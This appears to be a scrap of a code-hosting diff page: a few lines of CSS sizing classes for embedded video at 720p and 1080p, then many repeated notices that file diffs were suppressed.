margin:0 auto;
}
.embed-720p
{
max-width: 1280px;
max-height: 720px;
margin:0 auto;
}
.embed-1080p
{
max-width: 1920px;
max-height: 1080px;
margin:0 auto;
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

Some files were not shown because too many files have changed in this diff Show more